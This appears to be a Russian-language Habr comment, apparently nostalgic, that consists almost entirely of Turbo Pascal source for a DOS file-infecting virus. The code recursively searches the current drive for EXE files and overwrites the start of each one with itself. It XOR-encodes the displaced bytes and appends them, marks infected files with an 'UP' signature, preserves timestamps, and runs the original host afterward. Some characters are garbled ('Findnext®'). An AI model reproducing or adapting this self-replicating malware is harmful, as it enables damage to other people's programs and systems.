Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
заработал =)
{$M 16384,0,0}
{$A-,B-,D-,E+,F-,G-,I-,L-,N-,S-,V-,X+} {Чтобы все было Ok}
Program Virus_by_BlanzH; {Название}
Uses Dos;
Const V_size=3817; {Длинна откомпилированного вируса}
Sign=$5055; {Сигнатура "UP" по которой проверяем заражен файл или нет}
Addr_Sign=$55;{Смещение (адрес) сигнатуры}
Var
f:file; {Файловая переменная для всего}
f_sign:Word; {Сигнатура в файле по смещению addr_sign}
FAttr:Word; {Атрибут файла}
FTime: Longint; {Время изменения файла}
Zar:Byte; {Сколько заражено}
Buf_f,Buf_v:array[1..v_size] of byte; {Буферы для вируса и для части файла}
Procedure Coder(var buf:array of byte); {Процедура (рас)кодирования buf}
Var i:word;
Begin
For i:=1 to v_size do buf[i]:=buf[i] xor $17;
End;
function GetCurDr:byte; assembler;
asm
mov ah,19h
int 21h
end;
Procedure Vir_Dir(path:string);
Label next;
Var r:searchrec;
Begin
If path[length(path)]<>'\' then path:=path+'\';
Findfirst(path+'*.*',$3F,r);
Repeat
if (r.attr and directory=directory)and(r.name<>'.')and(r.name<>'..')then
Vir_Dir(path+r.name+'\') else
if Copy(r.name,length(r.name)-2,3)='EXE' then
Begin
Assign(f,path+r.Name);
GetFAttr(f,FAttr);
SetFAttr(f,Archive);
Reset(f,1);
if (IOResult<>0) or (r.size<=V_Size) then goto next;
GetFTime(F, FTime);
Seek(f,addr_sign); BlockRead(f,f_sign,2);
if f_sign=sign then goto next;
Seek(f,0); BlockRead(f,buf_f,V_Size);
Seek(f,0); BlockWrite(f,buf_v,V_Size);
coder(buf_f);
Seek(f,filesize(f)); BlockWrite(f,buf_f,V_Size);
SetFTime(F, FTime);
zar:=zar+1;
next:
close(f);
SetFAttr(f,FAttr);
end;
Findnext®;
until (doserror<>0) or (zar>2);
Findnext®;
end;
Var
Vir_name:string;
command_line:^string;
F_Size:longint;
Begin
Vir_name:=ParamStr(0);
Assign(f,Vir_name);
GetFAttr(f,FAttr);
SetFAttr(f,$20);
Reset(f,V_Size);
GetFTime(f,FTime);
BlockRead(f,Buf_V,1);
Close(f);
Vir_Dir(chr(GetCurDr+65)+':');
If F_Size>V_Size then begin
Assign(f,Vir_name);
Reset(f,1);
F_Size:=FileSize(f);
Seek(f,F_Size-V_Size);
BlockRead(f,buf_f,V_Size);
Coder(buf_f);
Seek(f,0);
BlockWrite(f,buf_f,V_Size);
seek(f,F_Size-V_Size);
Truncate(f);
close(f);
SwapVectors;
command_line:=ptr(prefixseg, $80);
Exec(Vir_name,command_line^);
SwapVectors;
Assign(f,Vir_name);
Reset(f,1);
Seek(f,F_Size-V_Size);
coder(buf_f);
BlockWrite(f,buf_f,V_Size);
Seek(f,0);
BlockWrite(f,buf_v,V_Size);
SetFTime(f,FTime);
Close(f);
SetFAttr(f,FAttr);
end;
writeln('OK');
End.
Как молоды мы были…